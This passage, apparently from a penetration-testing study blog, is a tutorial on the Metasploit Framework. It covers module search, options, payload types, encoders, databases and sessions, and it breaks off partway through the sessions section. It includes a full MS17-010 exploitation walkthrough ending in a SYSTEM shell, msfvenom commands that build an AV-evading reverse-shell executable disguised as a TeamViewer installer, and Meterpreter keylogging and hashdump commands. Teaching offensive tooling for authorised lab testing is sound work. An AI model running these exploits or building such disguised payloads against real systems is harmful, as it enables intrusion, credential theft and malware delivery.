Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

Metasploit Framework

Metasploit is a penetration testing framework that provides a collection of tools for developing and executing exploit code against remote targets. The framework consists of prepared scripts with specific purposes and corresponding functions that have been developed and tested in the wild.

Important Note on Exploit Failures

Many people often think that the failure of an exploit disproves the existence of the suspected vulnerability. However, this is only proof that the Metasploit exploit does not work and not that the vulnerability does not exist. This is because many exploits require customization according to the target hosts to make the exploit work. Therefore, automated tools such as the Metasploit framework should only be considered a support tool and not a substitute for manual skills.


Module Structure

Each Metasploit module follows a structured naming convention:

<No.> <type>/<os>/<service>/<name>

Example

794   exploit/windows/ftp/scriptftp_list

Components Explained

  1. Index No. (No.): Displayed during searches to select specific modules later
  2. Type: First level of segregation between modules (see Module Types below)
  3. OS: Operating system and architecture the module targets
  4. Service: Vulnerable service running on target (or general activity for auxiliary/post modules)
  5. Name: Actual action that can be performed using the module

Module Types

Interactable Modules (Can use use <no.>)

These modules can be directly used with the use command:

Auxiliary

  • Purpose: Scanning, fuzzing, sniffing, and admin capabilities
  • Description: Offer extra assistance and functionality
  • Example: auxiliary/scanner/smb/smb_ms17_010 - SMB vulnerability scanner

Exploits

  • Purpose: Exploit vulnerabilities to allow payload delivery
  • Description: Defined as modules that exploit a vulnerability
  • Example: exploit/windows/smb/ms17_010_psexec - MS17-010 EternalRomance exploit

Post

  • Purpose: Information gathering, pivoting deeper into networks
  • Description: Wide array of modules for post-exploitation activities
  • Example: post/windows/gather/credentials - Gather Windows credentials

Non-Interactable Modules (Support modules)

These modules support the interactable ones but cannot be directly used:

Encoders

  • Purpose: Ensure payloads are intact to their destination
  • Description: Encode payloads to evade detection and filters

NOPs (No Operation code)

  • Purpose: Keep payload sizes consistent across exploit attempts
  • Description: Used to maintain consistent buffer sizes

Payloads

  • Purpose: Code that runs remotely and calls back to attacker machine
  • Description: Establishes connection (or shell) back to attacker
  • Example: windows/meterpreter/reverse_tcp - Reverse TCP Meterpreter payload

Plugins

  • Purpose: Additional scripts integrated within msfconsole
  • Description: Extend functionality and coexist with other modules

Searching for Modules

Metasploit offers a well-developed search function to quickly find suitable modules for targets.

Basic Search Syntax

search [<options>] [<keywords>:<value>]

Search Options

OptionDescription
-hShow help information
-o <file>Send output to a file in CSV format
-S <string>Regex pattern used to filter search results
-uUse module if there is one result
-s <search_column>Sort results based on column in ascending order
-rReverse the search results order to descending order

Search Keywords

KeywordDescription
akaModules with matching AKA (also-known-as) name
authorModules written by this author
archModules affecting this architecture
bidModules with matching Bugtraq ID
cveModules with matching CVE ID
edbModules with matching Exploit-DB ID
checkModules that support the ‘check’ method
dateModules with matching disclosure date
descriptionModules with matching description
fullnameModules with matching full name
mod_timeModules with matching modification date
nameModules with matching descriptive name
pathModules with matching path
platformModules affecting this platform
portModules with matching port
rankModules with matching rank (descriptive like ‘good’ or numeric with operators like ‘gte400’)
refModules with matching ref
referenceModules with matching reference
targetModules affecting this target
typeModules of specific type (exploit, payload, auxiliary, encoder, evasion, post, or nop)

Supported Search Columns (for sorting)

  • rank - Sort by exploitability rank
  • date / disclosure_date - Sort by disclosure date
  • name - Sort by module name
  • type - Sort by module type
  • check - Sort by whether they have a check method

Search Examples

msf6 > search eternalromance
msf6 > search eternalromance type:exploit
msf6 > search type:exploit platform:windows cve:2021 rank:excellent microsoft

This searches for:

  • Exploit modules
  • Targeting Windows platform
  • Related to CVEs from 2021
  • With excellent rank
  • Containing “microsoft” in the name/description

Excluding Results

Prepend a value with - to exclude matching results:

msf6 > search cve:2009 type:exploit platform:-linux

Module Selection and Usage

Step 1: Finding a Module

First, identify your target and search for appropriate modules. For example, if you’ve identified SMB port 445 open on a Windows target:

msf6 > search ms17_010

Output:

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection

Step 2: Selecting a Module

Use the module number or full path:

msf6 > use 1
# OR
msf6 > use exploit/windows/smb/ms17_010_psexec

The prompt changes to indicate the active module:

msf6 exploit(windows/smb/ms17_010_psexec) >

Step 3: Viewing Module Options

Check what options need to be configured:

msf6 exploit(windows/smb/ms17_010_psexec) > show options

Output shows:

  • Required options (must be set)
  • Optional options (can be customized)
  • Current settings
  • Descriptions for each option

Step 4: Configuring Options

Set required options for your target:

# Set target host
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 10.10.10.40

# Set global options (persist across modules)
msf6 exploit(windows/smb/ms17_010_psexec) > setg LHOST 10.10.14.15

# Set local options (only for current module)
msf6 exploit(windows/smb/ms17_010_psexec) > set LPORT 4444

Step 5: Checking Vulnerability (Optional)

If the module supports it, check if target is vulnerable before exploiting:

msf6 exploit(windows/smb/ms17_010_psexec) > check

Step 6: Viewing Payloads

See available payloads for the selected exploit:

msf6 exploit(windows/smb/ms17_010_psexec) > show payloads

Step 7: Setting Payload (Optional)

If you want a specific payload instead of the default:

msf6 exploit(windows/smb/ms17_010_psexec) > set payload windows/meterpreter/reverse_tcp

Then configure payload-specific options:

msf6 exploit(windows/smb/ms17_010_psexec) > show options

Step 8: Executing the Exploit

Run the exploit:

msf6 exploit(windows/smb/ms17_010_psexec) > run
# OR
msf6 exploit(windows/smb/ms17_010_psexec) > exploit

Common Module Options

Target Options

OptionDescriptionExample
RHOSTSTarget host(s) - can be single IP, CIDR, or fileset RHOSTS 10.10.10.40
RHOSTSingle target hostset RHOST 10.10.10.40
RPORTTarget port (TCP)set RPORT 445

Payload Options

OptionDescriptionExample
LHOSTAttacker’s IP address (for reverse shells)setg LHOST 10.10.14.15
LPORTAttacker’s listening portset LPORT 4444
PAYLOADPayload to useset payload windows/meterpreter/reverse_tcp
TARGETTarget OS/architectureset TARGET 0

Other Common Options

OptionDescription
SMBUserUsername for SMB authentication
SMBPassPassword for SMB authentication
SMBDomainWindows domain for authentication
SHARESMB share name (e.g., ADMIN$, C$)

Useful Commands

Help Commands

help                    # General help menu
help search             # Search command help
help <command>          # Help for specific command

Information Commands

info <module>           # Detailed module information
show options            # Show module options
show payloads           # Show available payloads
show targets            # Show available targets
show advanced           # Show advanced options

Configuration Commands

set <option> <value>    # Set option for current module
setg <option> <value>   # Set global option (persists)
unset <option>          # Unset option
unsetg <option>         # Unset global option

Session Management

sessions                # List active sessions
sessions -i <id>        # Interact with session
sessions -k <id>        # Kill session
background              # Background current session

Module Commands

use <module>            # Select module
back                    # Go back to previous context
check                   # Check if target is vulnerable
run / exploit           # Execute exploit

Exploit Rank Levels

Metasploit ranks exploits based on reliability:

RankDescription
excellentExploit will never crash the service
greatExploit has a default target and auto-detects the target
goodExploit has a default target
normalExploit is otherwise reliable
averageExploit is generally unreliable
lowExploit is nearly impossible to exploit
manualExploit is unstable or difficult to exploit

Complete Example Workflow

Scenario

Target: Windows 7 machine with SMB port 445 open, potentially vulnerable to MS17-010

Step-by-Step Execution

# 1. Start msfconsole
msfconsole

# 2. Search for relevant exploit
msf6 > search ms17_010

# 3. Select the exploit module
msf6 > use exploit/windows/smb/ms17_010_psexec

# 4. View module options
msf6 exploit(windows/smb/ms17_010_psexec) > show options

# 5. Set target
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 10.10.10.40

# 6. Set attacker IP (global, persists)
msf6 exploit(windows/smb/ms17_010_psexec) > setg LHOST 10.10.14.15

# 7. Set listening port
msf6 exploit(windows/smb/ms17_010_psexec) > set LPORT 4444

# 8. Verify configuration
msf6 exploit(windows/smb/ms17_010_psexec) > show options

# 9. Check vulnerability (optional)
msf6 exploit(windows/smb/ms17_010_psexec) > check

# 10. Execute exploit
msf6 exploit(windows/smb/ms17_010_psexec) > run

Expected Output (Successful Exploit)

[*] Started reverse TCP handler on 10.10.14.15:4444 
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (10.10.14.15:4444 -> 10.10.10.40:49158) at 2020-08-13 21:37:21 +0000
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter> shell

C:\Windows\system32> whoami
nt authority\system

Key Takeaways

  1. Module Structure: Understanding the <type>/<os>/<service>/<name> format helps identify appropriate modules
  2. Search Functionality: Powerful search with multiple keywords and filters helps find the right module quickly
  3. Required Options: Always check show options to identify required settings before exploitation
  4. Global vs Local: Use setg for options that should persist across modules (like LHOST), set for module-specific options
  5. Check First: Use check command when available to verify vulnerability before attempting exploitation
  6. Exploit Failures: A failed exploit doesn’t mean the vulnerability doesn’t exist - manual testing may be required
  7. Rank Matters: Higher ranked exploits (excellent, great) are more reliable than lower ranked ones

Best Practices

  1. Always verify targets before exploitation
  2. Use check command when available to avoid unnecessary exploitation attempts
  3. Set global options (setg) for values that won’t change (like LHOST)
  4. Review module info (info <module>) for detailed descriptions and references
  5. Test in lab environments before using in production assessments
  6. Document your process - note which modules worked and which didn’t
  7. Understand the exploit - don’t blindly run exploits without understanding what they do

Targets

Targets are unique operating system identifiers taken from the versions of those specific operating systems which adapt the selected exploit module to run on that particular version of the operating system.

Viewing Targets

The show targets command issued within an exploit module view displays all available vulnerable targets for that specific exploit. Issuing the same command in the root menu (outside of any selected exploit module) will indicate that you need to select an exploit module first.

msf6 > show targets

[-] No exploit module selected.

When viewing targets from within an exploit module:

msf6 exploit(windows/smb/ms17_010_psexec) > options

   Name                  Current Setting                          Required  Description
   ----                  ---------------                          --------  -----------
   DBGTRACE              false                                    yes       Show extra debug trace info
   LEAKATTEMPTS          99                                       yes       How many times to try to leak transaction
   NAMEDPIPE                                                      no        A named pipe that can be connected to
   RHOSTS                10.10.10.40                              yes       The target host(s)
   RPORT                 445                                      yes       The Target port (TCP)
   ...

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Using the Info Command

The info command helps understand the exploit’s origins and functionality. It’s considered best practice to audit code for any artifact generation or additional features before use.

msf6 exploit(windows/browser/ie_execcommand_uaf) > info

       Name: MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability 
     Module: exploit/windows/browser/ie_execcommand_uaf
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2012-09-14

Available targets:
  Id  Name
  --  ----
  0   Automatic
  1   IE 7 on Windows XP SP3
  2   IE 8 on Windows XP SP3
  3   IE 7 on Windows Vista
  4   IE 8 on Windows Vista
  5   IE 8 on Windows 7
  6   IE 9 on Windows 7

Selecting a Target

If you know what versions are running on your target, use the set target <index no.> command:

msf6 exploit(windows/browser/ie_execcommand_uaf) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic
   1   IE 7 on Windows XP SP3
   2   IE 8 on Windows XP SP3
   3   IE 7 on Windows Vista
   4   IE 8 on Windows Vista
   5   IE 8 on Windows 7
   6   IE 9 on Windows 7


msf6 exploit(windows/browser/ie_execcommand_uaf) > set target 6

target => 6

Leaving the selection to Automatic lets msfconsole perform service detection on the given target before launching a successful attack.

Target Types

Targets can vary by:

  • Service pack
  • OS version
  • Language version

The return address can vary because a particular language pack changes addresses, a different software version is available, or the addresses are shifted due to hooks. Comments in the exploit module’s code can help determine what the target is defined by.

To identify a target correctly:

  1. Obtain a copy of the target binaries
  2. Use msfpescan to locate a suitable return address

Payloads (Detailed)

A Payload in Metasploit refers to a module that aids the exploit module in (typically) returning a shell to the attacker. The payloads are sent together with the exploit itself to bypass standard functioning procedures of the vulnerable service (exploit’s job) and then run on the target OS to typically return a reverse connection to the attacker and establish a foothold (payload’s job).

Payload Types

There are three different types of payload modules in the Metasploit Framework: Singles, Stagers, and Stages. Whether or not a payload is staged is represented by / in the payload name.

For example:

  • windows/shell_bind_tcp - Single payload with no stage
  • windows/shell/bind_tcp - Stager (bind_tcp) + Stage (shell)

Singles

A Single payload contains the exploit and the entire shellcode for the selected task. Inline payloads are by design more stable than their counterparts because they contain everything all-in-one. However, some exploits will not support the resulting size of these payloads as they can get quite large.

Singles are self-contained payloads - the sole object sent and executed on the target system, getting results immediately after running. A Single payload can be as simple as adding a user to the target system or booting up a process.

Stagers

Stager payloads work with Stage payloads to perform a specific task. A Stager is waiting on the attacker machine, ready to establish a connection to the victim host once the stage completes its run on the remote host.

Stagers are typically used to set up a network connection between the attacker and victim and are designed to be small and reliable. Metasploit will use the best one and fall back to a less-preferred one when necessary.

Windows NX vs. NO-NX Stagers:

  • Reliability issue for NX CPUs and DEP
  • NX stagers are bigger (VirtualAlloc memory)
  • Default is now NX + Win7 compatible

Stages

Stages are payload components that are downloaded by stager’s modules. The various payload Stages provide advanced features with no size limits, such as Meterpreter, VNC Injection, and others.

Payload stages automatically use middle stagers:

  • A single recv() fails with large payloads
  • The Stager receives the middle stager
  • The middle Stager then performs a full download
  • Also better for RWX

Staged Payloads

A staged payload is an exploitation process that is modularized and functionally separated to help segregate the different functions into different code blocks, each completing its objective individually but working on chaining the attack together.

The scope of this payload, besides granting shell access to the target system, is to be as compact and inconspicuous as possible to aid with Antivirus (AV) / Intrusion Prevention System (IPS) evasion.

Stage0 represents the initial shellcode sent over the network to the target machine’s vulnerable service, with the sole purpose of initializing a connection back to the attacker machine (reverse connection). Common names include:

  • reverse_tcp
  • reverse_https
  • bind_tcp

Listing Payloads

msf6 > show payloads

Payloads
========

   #    Name                                                Disclosure Date  Rank    Check  Description
   -    ----                                                ---------------  ----    -----  -----------
   0    aix/ppc/shell_bind_tcp                                               manual  No     AIX Command Shell, Bind TCP Inline
   1    aix/ppc/shell_find_port                                              manual  No     AIX Command Shell, Find Port Inline
   ...
   557  windows/x64/vncinject/reverse_tcp                                    manual  No     Windows x64 VNC Server (Reflective Injection)

Filtering Payloads with grep

msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter show payloads

   6   payload/windows/x64/meterpreter/bind_ipv6_tcp                        normal  No     Windows Meterpreter (Reflective Injection x64)
   ...

msf6 exploit(windows/smb/ms17_010_eternalblue) > grep -c meterpreter show payloads

[*] 14

msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter grep reverse_tcp show payloads

   15  payload/windows/x64/meterpreter/reverse_tcp                          normal  No     Windows Meterpreter, Windows x64 Reverse TCP Stager
   16  payload/windows/x64/meterpreter/reverse_tcp_rc4                      normal  No     Windows Meterpreter, Reverse TCP Stager (RC4 Encryption)
   17  payload/windows/x64/meterpreter/reverse_tcp_uuid                     normal  No     Windows Meterpreter, Reverse TCP Stager with UUID Support

Selecting Payloads

msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15
# or
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp

Common Windows Payloads

PayloadDescription
generic/customGeneric listener, multi-use
generic/shell_bind_tcpGeneric listener, multi-use, normal shell, TCP connection binding
generic/shell_reverse_tcpGeneric listener, multi-use, normal shell, reverse TCP connection
windows/x64/execExecutes an arbitrary command (Windows x64)
windows/x64/loadlibraryLoads an arbitrary x64 library path
windows/x64/messageboxSpawns a dialog via MessageBox
windows/x64/shell_reverse_tcpNormal shell, single payload, reverse TCP connection
windows/x64/shell/reverse_tcpNormal shell, stager + stage, reverse TCP connection
windows/x64/shell/bind_ipv6_tcpNormal shell, stager + stage, IPv6 Bind TCP stager
windows/x64/meterpreter/$Meterpreter payload + varieties
windows/x64/powershell/$Interactive PowerShell sessions + varieties
windows/x64/vncinject/$VNC Server (Reflective Injection) + varieties

Configuring Payload Options

After selecting a payload, configure the required options:

ParameterDescription
LHOSTThe host’s IP address (attacker’s machine)
LPORTListening port (verify not already in use)
msf6 exploit(windows/smb/ms17_010_eternalblue) > ifconfig

[*] exec: ifconfig

tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
      inet 10.10.14.15 netmask 255.255.254.0 destination 10.10.14.15

msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.14.15
LHOST => 10.10.14.15

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40
RHOSTS => 10.10.10.40

Meterpreter Payload

Meterpreter payloads offer significant flexibility with vast base functionality. Combined with plugins such as GentilKiwi’s Mimikatz Plugin, they can automate and quickly deliver parts of the pentest.

Note: The whoami Windows command doesn’t work in Meterpreter - use getuid instead.

Meterpreter Commands

meterpreter > help

Core Commands
=============
    background                Backgrounds the current session
    channel                   Displays information or control active channels
    close                     Closes a channel

Stdapi: System Commands
=======================
    getuid        Gets the user that the server is running as
    shell         Drop into a system command shell
    sysinfo       Gets information about the remote system

Stdapi: User interface Commands
===============================
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop

Priv: Password database Commands
================================
    hashdump      Dumps the contents of the SAM database
meterpreter > cd Users
meterpreter > ls

Listing: C:\Users
=================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
40777/rwxrwxrwx   8192  dir   2017-07-21 06:56:23 +0000  Administrator
40777/rwxrwxrwx   8192  dir   2017-07-14 13:45:33 +0000  haris
...

meterpreter > shell

Process 2664 created.
Channel 1 created.

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users> whoami
nt authority\system

The channel represents the connection between your device and the target host, established via reverse TCP connection using a Meterpreter Stager and Stage.


Encoders

Over 15 years, Encoders have assisted with making payloads compatible with different processor architectures while helping with antivirus evasion.

Supported Architectures

  • x64
  • x86
  • sparc
  • ppc
  • mips

Purpose of Encoders

  1. Architecture Compatibility: Change payload to run on different operating systems and architectures
  2. Bad Character Removal: Remove hexadecimal opcodes known as bad characters from the payload
  3. AV Evasion: Encoding in different formats can help with detection evasion (though modern AV has caught up)

Shikata Ga Nai (SGN)

Shikata Ga Nai (仕方がない - “It cannot be helped”) was one of the most utilized encoding schemes because it was very hard to detect payloads encoded through its mechanism. However, modern detection methods have caught up, and these encoded payloads are far from being universally undetectable anymore.

Listing Encoders

msf6 > show encoders

Encoders
========

   #   Name                          Disclosure Date  Rank       Check  Description
   -   ----                          ---------------  ----       -----  -----------
   0   cmd/brace                                      low        No     Bash Brace Expansion Command Encoder
   1   cmd/echo                                       good       No     Echo Command Encoder
   ...
   26  x86/shikata_ga_nai            2019-01-07       excellent  No     Polymorphic XOR Additive Feedback Encoder
   27  x64/xor                                        manual     No     XOR Encoder
   28  x64/zutto_dekiru                               manual     No     Zutto Dekiru

Generating Encoded Payloads with msfvenom

Basic Encoded Payload

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -o ./TeamViewerInstall.exe

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of exe file: 73802 bytes
Saved as: TeamViewerInstall.exe

Multiple Encoding Iterations

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o payload.exe

Found 1 compatible encoders
Attempting to encode payload with 10 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai succeeded with size 395 (iteration=1)
...
x86/shikata_ga_nai succeeded with size 611 (iteration=9)
x86/shikata_ga_nai chosen with final size 611
Payload size: 611 bytes

Note: Even with 10 iterations, modern AV products still often detect these payloads. Additional evasion methodologies are required for reliable evasion.

VirusTotal Analysis

Metasploit offers msf-virustotal tool to analyze payloads (requires free VirusTotal registration):

msf-virustotal -k <API key> -f TeamViewerInstall.exe

[*] Using API key: <API key>
[*] Please wait while I upload TeamViewerInstall.exe...
[*] VirusTotal: Scan request successfully queued, come back later for the report
[*] Sample MD5 hash    : 4f54cc46e2f55be168cc6114b74a3130
[*] Analysis link: https://www.virustotal.com/gui/file/<SNIP>/detection/f-<SNIP>

Databases

Databases in msfconsole are used to keep track of your results. During complex assessments, things can get complicated due to the sheer amount of search results, entry points, detected issues, and discovered credentials.

Msfconsole has built-in support for the PostgreSQL database system. This provides:

  • Direct, quick, and easy access to scan results
  • Ability to import and export results with third-party tools
  • Configure Exploit module parameters with existing findings

Setting up the Database

Check PostgreSQL Status

sudo service postgresql status

● postgresql.service - PostgreSQL RDBMS
     Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor preset: disabled)
     Active: active (exited) since Fri 2022-05-06 14:51:30 BST; 3min 51s ago

Start PostgreSQL

sudo systemctl start postgresql

Initialize MSF Database

sudo msfdb init

[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema

If you encounter errors, try updating Metasploit (apt update) and reinitializing.

Check Database Status

sudo msfdb status

Connecting to the Database

msf6 > db_status

[*] Connected to msf. Connection type: postgresql.

If you receive an error about the database not being connected:

msf6 > db_connect msf@msf

Connected to Postgres data service: 127.0.0.1/msf

Workspaces

Workspaces help organize different assessment projects. Similar to folders, workspaces isolate different projects’ host data, loot, and activities.

msf6 > workspace

* default

Workspace Commands

msf6 > workspace -h

Usage:
    workspace                  List workspaces
    workspace -v               List workspaces verbosely
    workspace [name]           Switch workspace
    workspace -a [name] ...    Add workspace(s)
    workspace -d [name] ...    Delete workspace(s)
    workspace -D               Delete all workspaces
    workspace -r <old> <new>   Rename workspace

Create and Select Workspace

msf6 > workspace -a Target_1

[*] Added workspace: Target_1
[*] Workspace: Target_1

msf6 > workspace Target_1 

[*] Workspace: Target_1

msf6 > workspace

  default
* Target_1

Importing Scan Results

Import Nmap XML scans into the database (XML format is preferred for db_import):

msf6 > db_import Target.xml

[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.10.9'
[*] Importing host 10.10.10.40
[*] Successfully imported ~/Target.xml

Using Nmap Inside MSFconsole

Scan directly from msfconsole using db_nmap:

msf6 > db_nmap -sV -sS 10.10.10.8

[*] Nmap: Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-17 21:04 UTC
[*] Nmap: Nmap scan report for 10.10.10.8
[*] Nmap: Host is up (0.016s latency).
[*] Nmap: PORT   STATE SERVICE VERSION
[*] Nmap: 80/TCP open  http    HttpFileServer httpd 2.3

Viewing Data

Hosts

msf6 > hosts

Hosts
=====

address      mac  name  os_name  os_flavor  os_sp  purpose  info  comments
-------      ---  ----  -------  ---------  -----  -------  ----  --------
10.10.10.40             Unknown                    device         

Hosts Command Options

msf6 > hosts -h

Usage: hosts [ options ] [addr1 addr2 ...]

  -a,--add          Add the hosts instead of searching
  -d,--delete       Delete the hosts instead of searching
  -c <col1,col2>    Only show the given columns
  -C <col1,col2>    Only show the given columns until the next restart
  -h,--help         Show this help information
  -u,--up           Only show hosts which are up
  -o <file>         Send output to a file in csv format
  -O <column>       Order rows by specified column number
  -R,--rhosts       Set RHOSTS from the results of the search
  -S,--search       Search string to filter by
  -i,--info         Change the info of a host
  -n,--name         Change the name of a host
  -m,--comment      Change the comment of a host
  -t,--tag          Add or specify a tag to a range of hosts

Services

msf6 > services

Services
========

host         port   proto  name          state  info
----         ----   -----  ----          -----  ----
10.10.10.40  135    tcp    msrpc         open   Microsoft Windows RPC
10.10.10.40  139    tcp    netbios-ssn   open   Microsoft Windows netbios-ssn
10.10.10.40  445    tcp    microsoft-ds  open   Microsoft Windows 7 - 10 microsoft-ds workgroup: WORKGROUP

Services Command Options

msf6 > services -h

Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]

  -a,--add          Add the services instead of searching
  -d,--delete       Delete the services instead of searching
  -c <col1,col2>    Only show the given columns
  -p <port>         Search for a list of ports
  -r <protocol>     Protocol type of the service being added [tcp|udp]
  -s <name>         List creds matching comma-separated service names
  -u,--up           Only show services which are up
  -o <file>         Send output to a file in csv format
  -R,--rhosts       Set RHOSTS from the results of the search
  -S,--search       Search string to filter by
  -U,--update       Update data for existing service

Credentials

The creds command allows you to visualize credentials gathered during interactions with target hosts. You can also add credentials manually, match with port specifications, and add descriptions.

msf6 > creds -h

With no sub-command, list credentials. If an address range is
given, show only credentials with logins on hosts within that range.

Usage - Listing credentials:
  creds [filter options] [address range]

Usage - Adding credentials:
  creds add uses the following named parameters.
    user      :  Public, usually a username
    password  :  Private, private_type Password.
    ntlm      :  Private, private_type NTLM Hash.
    ssh-key   :  Private, private_type SSH key, must be a file path.
    hash      :  Private, private_type Nonreplayable hash
    realm     :  Realm
    realm-type:  Realm type (domain db2db sid pgdb rsync wildcard)

Examples: Adding
   creds add user:admin password:notpassword realm:workgroup
   creds add user:guest password:'guest password'
   creds add user:admin ntlm:E2FC15074BF7751DD408E6B105741864:A1074A69B1BDE45403AB680504BBDD1A
   creds add user:sshadmin ssh-key:/path/to/id_rsa
   creds add user:other hash:d19c32489b870735b5f587d76b934283 jtr:md5

Filter options for listing:
  -P,--password <text>  List passwords that match this text
  -p,--port <portspec>  List creds with logins on services matching this port spec
  -s <svc names>        List creds matching comma-separated service names
  -u,--user <text>      List users that match this text
  -t,--type <type>      List creds that match the following types: password,ntlm,hash
  -R,--rhosts           Set RHOSTS from the results of the search

Examples, listing:
  creds               # Default, returns all credentials
  creds 1.2.3.4/24    # Return credentials with logins in this range
  creds -p 22-25,445  # nmap port specification
  creds -s ssh,smb    # All creds associated with SSH or SMB services
  creds -t NTLM       # All NTLM creds

Loot

The loot command works with credentials to offer an at-a-glance list of owned services and users. Loot refers to hash dumps from different system types (hashes, passwd, shadow, etc.).

msf6 > loot -h

Usage: loot [options]
 Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]
  Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] -t [type]
  Del: loot -d [addr1 addr2 ...]

  -a,--add          Add loot to the list of addresses, instead of listing
  -d,--delete       Delete *all* loot matching host and type
  -f,--file         File with contents of the loot to add
  -i,--info         Info of the loot to add
  -t <type1,type2>  Search for a list of types
  -S,--search       Search string to filter by

Sessions

MSFconsole can manage multiple modules at the same time. This is one of the many reasons it provides the user with so much flexibility. This is done with the use of Sessions, which creates dedicated control interfaces for all of your deployed modules.

Once several sessions are created, we can switch between them and link a different module to one of the backgrounded sessions to run on it or turn them into jobs.

Important: Once a session is placed in the background, it will continue to run, and our connection to the target host will persist. Sessions can, however, die if something goes wrong during the payload runtime, causing the communication channel to tear down.

Backgrounding Sessions

While running any available exploits or auxiliary modules in msfconsole, we can background the session as long as they form a channel of communication with the target host. This can be done either by:

  1. Pressing the [CTRL] + [Z] key combination
  2. Typing the background command in Meterpreter stages

This will prompt with a confirmation message. After accepting, you’ll be taken back to the msfconsole prompt (msf6 >) and can immediately launch a different module.

Listing Active Sessions

Use the sessions command to view currently active sessions:

msf6 exploit(windows/smb/psexec_psh) > sessions

Active sessions
===============

  Id  Name  Type                     Information                 Connection
  --  ----  ----                     -----------                 ----------
  1         meterpreter x86/windows  NT AUTHORITY\SYSTEM @ MS01  10.10.10.129:443 -> 10.10.10.205:50501 (10.10.10.205)

Interacting with a Session

Use the sessions -i [no.] command to open up a specific session:

